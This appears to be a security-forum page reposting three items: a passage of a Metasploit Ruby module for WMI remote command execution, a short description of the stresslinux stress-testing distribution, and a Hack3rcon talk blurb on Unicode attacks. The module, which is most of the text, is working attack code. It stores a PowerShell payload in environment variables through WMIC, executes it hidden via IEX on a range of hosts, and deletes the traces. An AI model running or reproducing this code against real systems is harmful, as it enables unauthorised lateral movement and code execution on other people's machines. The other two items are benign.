ReverseListenerComm to tunnel traffic through that session. The result is similar to psexec but with the added benefit of using the session's current authentication token instead of having to know a password or hash. We do not get feedback from the WMIC command so there are no indicators of success or failure. The remote host must be configured to allow remote Windows Management Instrumentation. }, 'License' => MSF_LICENSE, 'Author' => [ 'Ben Campbell <eat_meatballs[at]hotmail.co.uk>' ], 'References' => [ [ 'CVE', '1999-0504'], # Administrator with no password (since this is the default) [ 'OSVDB', '3106'], [ 'URL', 'http://passing-the-hash.blogspot.co.uk/2013/07/WMIS-PowerSploit-Shells.html' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', 'WfsDelay' => '15', }, 'DisclosureDate' => 'Jan 01 1999', 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter' ], 'Targets' => [ [ 'Windows x86', { 'Arch' => ARCH_X86 } ], [ 'Windows x64', { 'Arch' => ARCH_X86_64 } ] ], 'DefaultTarget' => 0 )) register_options([ OptString.new('SMBUser', [ false, 'The username to authenticate as' ]), OptString.new('SMBPass', [ false, 'The password for the specified username' ]), OptString.new('SMBDomain', [ false, 'The Windows domain to use for authentication' ]), OptAddressRange.new("RHOSTS", [ true, "Target address range or CIDR identifier" ]), # Move this out of advanced OptString.new('ReverseListenerComm', [ false, 'The specific communication channel to use for this listener']) ]) end def exploit if datastore['SMBUser'] and datastore['SMBPass'].nil? fail_with(Failure::BadConfig, "Need both username and password set.") end Rex::Socket::RangeWalker.new(datastore["RHOSTS"]).each do |server| # TODO: CHECK WMIC Access by reading the clipboard? # TODO: wmic /output:clipboard # TODO: Needs to be meterpreter ext side due to threading # Get the PSH Payload and split it into bitesize chunks # 1024 appears to be the max value allowed in env vars psh = cmd_psh_payload(payload.encoded).gsub("\r\n","") psh = psh[psh.index("$si")..psh.length-1] chunks = split_code(psh, 1024) begin print_status("[#{server}] Storing payload in environment variables") env_name = rand_text_alpha(rand(3)+3) env_vars = [] 0.upto(chunks.length-1) do |i| env_vars << "#{env_name}#{i}" c = "cmd /c SETX #{env_vars[i]} \"#{chunks[i]}\" /m" wmic_command(server, c) end x = rand_text_alpha(rand(3)+3) exec_cmd = "powershell.exe -nop -w hidden -c $#{x} = ''" env_vars.each do |env| exec_cmd << "+$env:#{env}" end exec_cmd << ";IEX $#{x};" print_status("[#{server}] Executing payload") wmic_command(server, exec_cmd) print_status("[#{server}] Cleaning up environment variables") env_vars.each do |env| cleanup_cmd = "cmd /c REG delete \"HKLM\\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment\" /V #{env} /f" wmic_command(server, cleanup_cmd) end rescue Rex::Post::Meterpreter::RequestError => e print_error("[#{server}] Error moving on... #{e}") next ensure select(nil,nil,nil,2) end end end def wmic_user_pass_string(domain=datastore['SMBDomain'], user=datastore['SMBUser'], pass=datastore['SMBPass']) userpass = "" unless user.nil? if domain.nil? userpass = "/user:\"#{user}\" /password:\"#{pass}\" " else userpass = "/user:\"#{domain}\\#{user}\" /password:\"#{pass}\" " end end return userpass end def wmic_command(server, cmd) wcmd = "wmic #{wmic_user_pass_string}/node:#{server} process call create \"#{cmd.gsub('"','\\"')}\"" vprint_status("[#{server}] #{wcmd}") # We dont use cmd_exec as WMIC cannot be Channelized ps = session.sys.process.execute(wcmd, "", {'Hidden' => true, 'Channelized' => false}) select(nil,nil,nil,0.1) end def split_code(psh, chunk_size) array = [] idx = 0 while (idx < psh.length) array << psh[idx, chunk_size] idx += chunk_size end return array end end Sursa: Windows Management Instrumentation (WMI) Remote Command Execution ? Packet Storm

[h=2]stresslinux[/h] [h=2]Welcome to stresslinux[/h] [h=3]What is stresslinux[/h] stresslinux is a minimal linux distribution running from a bootable cdrom, usb, vmware or via PXE (wip). stresslinux makes use of some utitlities available on the net like: stress, cpuburn, hddtemp, lm_sensors ... stresslinux is dedicated to users who want to test their system(s) entirely on high load and monitoring the health. [h=3]Who needs it[/h] Stresslinux is for people (system builders, overclockers) who want to test their hardware under high load and monitor stability and thermal environment. You should be familiar with linux console because stresslinux comes without a graphical user interface. [h=3]Where to start[/h] Downloads Docs: FAQ, Documentation, Software Community: Forum, Reviews, ?Facebook, ?Google+ [h=3]Screenshots[/h] [h=3]You like stresslinux and want to say thanks[/h] Sursa: Stresslinux

Hack3rcon 4 - Character Assassination: Fun And Games With Unicode - Adrian Crenshaw Description: This talk will cover some of the general security considerations of Unicode. Homoglyph attacks, punycode, shellcode, stego, etc. Adrian Crenshaw Adrian Crenshaw has worked in the IT industry for the last fifteen years. He runs the information security website Irongeek.com, which specializes in videos and articles that illustrate how to use various pen-testing and security tools. He did the cert chase for awhile (MCSE NT 4, CNE, A+, Network+. i-Net+) but stopped once he had to start paying for the tests himself. He's currently working on a Masters in Security Informatics, and is interested in obtaining a network security/research/teaching job in academia (though he's beginning to think that the corporate world has a better grasp on ethics/academic freedom). He is also one of the co-founders of Derbycon. For More Information please visit : - Hack3rCon^4 - Eye of the Storm Hack3rcon 4 Videos (Hacking Illustrated Series InfoSec Tutorial Videos) Sursa: Hack3rcon 4 - Character Assassination: Fun And Games With Unicode - Adrian Crenshaw